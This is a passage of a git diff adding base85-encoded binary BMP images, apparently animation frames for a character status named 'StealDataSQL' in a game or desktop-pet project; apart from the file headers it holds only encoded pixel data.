zgA`(sRJf_Oin6w<8rhU6!G)c=EkD;a*0|%Em8PW-L8cp8!&Ed8syYyy=;z{xGcYSE z+_+`e2@agZ$3S9|#E$92MY5y>Zgb1oyzKRsy2c^?aWqrBj*_y$7itV+6j{%lVaeHl z=Gpgm#t!}PlB8<`QrVT~tTJ`F#Zo;1(rQ=HhS!gu4?XE@^((q_=8*j5z>m959^AYQ z$7?g0n155xR>tr+w`q&Ai$tzcnUL zPb*rRP;!?{ItH>mMHUu5b^= zEw!YW;)~Wce-E^*8S0WuU-$m?CP(I&v^0>)cEu5FIgw63=a8ivU3(Oq zW~6VrU>@1bn1{CFqAcu5XffW32(!wo+;C@99v+yyR7q9;i+M&<7P>K|&Qy_}(yYAv z_4nlR(|4X6>*(qjkhk@WUwSIP^mP16kG%c4{LoLgPT%RiHzp4ajMM){)r)Iyhi5PO zVy@wr^9{dPkegq>@4}BxUV(aZ7h^Qk#Yh~_8ZE-(rDO_nf%@_4eIvcEUp)S$B|5k3 z!NZ|J`PnUpcGuSfxBpbyzhecJ#>U1%oE+I&i`+4m0!uTruBQH+SsbLL5RH&v(QYh? z5M?z_WwvK#G!~j@>cEyR@pj(Un+I1JY8 zDc`6~pRTW_hBGqcAgx7Mf)qz|pwh*7lJWfc2J_XJ)(9RNO*J))vG?k`|N7DB_|@A# zU;3%7Z%qEQ<6(1YW#8M^PyfRFce+kqeD>4{qnXovP^Pxla4yo4i$@7bSfZ)1`Qn8- zD#}DNGkZ2$Orc6iG(HxG(A5DkhA=dbOv&DG=;Zz%?_BC0y)h`i`AU9kSbqDp{N|9N ze0xZK3ls*&&UW_H>^u+<9z!D2=X^7D&eW-fixP}M0zAQq!E$DR5t~FXG6ruA z;9ATN%rIPou-69*s0`tz+@ z=Gt2J=6Y@zI2#G);!u1XMu^9;QPxWr&ev9*%SK}ySdcx9$+kkW5C}g9J4ZGPYiztw zS$XlSITRwxdqu*U*qRtweN0MqVpda1&i459`jF@xse_w=mX7kY=`*K%qpqxMsk?+^ zf#48HHcU1TM-<>mjtrIvi!)!aP-oU`3d}-GA`5Uh0Tv^`qL@gyBSy12JmJ~Bm)&FI zSK4p1-?-C1Cja$^uFZKRBd>@5FhYG8>$C1|8ktPjneRikWLm>GfEA13W6^v(mP^1R z4Gr~F=K>j6Rw%YLN`%KP6AIjT95;agV`OZySi^YnV*P~+HD=9Lo$}3eC8eoKN;8y{ zW_|U=+;698sLnChP$w9hUX5)|?JerHeaPc@k=msRxR8v!3Wu}&j3eMQjg~RgTaa`DJ8r+JF z#XIr^ZX&TGmn))@$d(ouBLi!FJqV5B;jw%&K|-TQDHMXaInEp=q|!YkHf~}YI~EtN zw^U=+9D{`miI#94nZzRzc?3Kkj}w495-@xmPJ}kga3`58R7v(&^Qi6VP-r2QX3t>p@I<76vG!~=?Rjb_GjleH%%xBvB8fx7a|k#t=pG!FgU5i_a-+ji zT*+Ds=X#4B?i}s7-}SV+w|{@#j{Cj+BfaCTWgD-YyYNY@r;Z<2S5tFF8ak7ZY^)Uv zk7VFbEF2ob+0u_NU(a2GiGY2sF-SKAoP|PE?fk@kXbr!zSc}t&6#rmqLGF+T;Gt0K(a|xA(JIw zFu8OZL?J_<&533KD@4R`h&VO@1L4pDtXY9K38Oii&Exd-J#VSobm!9Ta|h1dx^nC4 zPdDz}dwj9w`@+z;`@eL3B9Z~zn{6Ij3~ z1c*X}C;*hi0d7($d>Wlkrvt}DES7`~*@1i&@a#A&7KvahSyh{m;1*-y=B?QDQCZ7dZ z6}qzNR5pbIVi*JsLv(m028tSC{xS<#!~1yaT(|p5DEYnr0ir2Gs#3I z1qpbbdMiXUHUR|@F$z!;hDE_nu;M`s16?5onav=-&nkf4GD-O?A(Mth zSc-U%2x!a&ivAB)mV%W>r*mmkwjyOG#$h6XPQo&9Xa^c>Ll{I{s%Bzn{Pd~fhs19e z3=^Zu=$kjES`KV1u3VR1*wWDS4ipqVSl7u);Q3A_OH`fub)baizyXsCN&!m3G669K z2Xs|POCz%BL=K(AV^D#vJSL4lp%ze1%!O?DY`{viMo9S_DUS^doK$@DzOLYUCJj{Q z(7?1q;)3j_5V>SLNES8*UKq?wamOit^+i=>)$gG1L&@b}NZL|be&bTx`=>vW6;%E8 z*Iz8nOi+3Yf}B`<3IGL$W|1+9frF|D<4FT9(eezNJuUJuHkT&5kLt%zX+9Ow#IrGLgMW>G~fs*pt%FvvnGQAEZI z3D%iG?7A3%y2=!eKrk@ycAj}3%1E0wuV>lpRDR{+x zLRUo$16(>qk+nc7MSL=WkOBsUFp;kk9$Um!^Z|%og{}}?0*pm40<3}*3c6*nQ9UO|XjCG$5xKqDUdK9YnEX5N%oL#6WI> z7foZQw2`sEqvL^cd8FoP?;3blnDnLd?p-H)JB_)@ zPIQY1PsouE9^ElKGJ#75O9H%*MgUAgDjs8QDCL0Mr6?$w6kq}dSR!GhEbGJoUhHzn zOh*l7YO;S~!SL=DpIP{i>N@Gmz`)D&j109oDkKB7WN%KWJ4eI-@6a$HbVUq;ltq-# z2^cd2FtLDPNW>xmN)8prB_loUNU5uBotTz$W=xfe1f88feCZuHC!;YiLBcs`5+=%{hJ|Ot2%<0m3^larP_%*4#kB3X!B-T%bEM z+7IFp4d*FO<8s&+FPxji`uqg_L-+h+tdpLOjg5YH>?n=Fob~NDD1*gbT!Igu?8?C7 z&6YZ_$zFEM0CxtTWV&e1w|W|j*OnId_xJt5!T;dlKgRmLk3+*lo3?DmqfrZHOhYeO zBtV*D4Rvg2STbB+ZN@j+ni^rjK_B&N_V*kA@bW*;3Iv|ixVQINU2PS3*QBmGQ)T)T z_4#wGEG^<(|#D{qFGn`@etR|L%g1 zCHU~`|68md?$JMY<^K{ZQ1QPYt}|#lG6VJ+>d=F literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL2.bmp b/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL2.bmp new file mode 100644 index 0000000000000000000000000000000000000000..c7b26b5b06e683e2312d59826244541d48104536 GIT binary patch literal 18462 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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL3.bmp b/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL3.bmp new file mode 100644 index 0000000000000000000000000000000000000000..474c3150ad0364f8a6df95ea22514c07dd0718ce GIT binary patch literal 18462 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 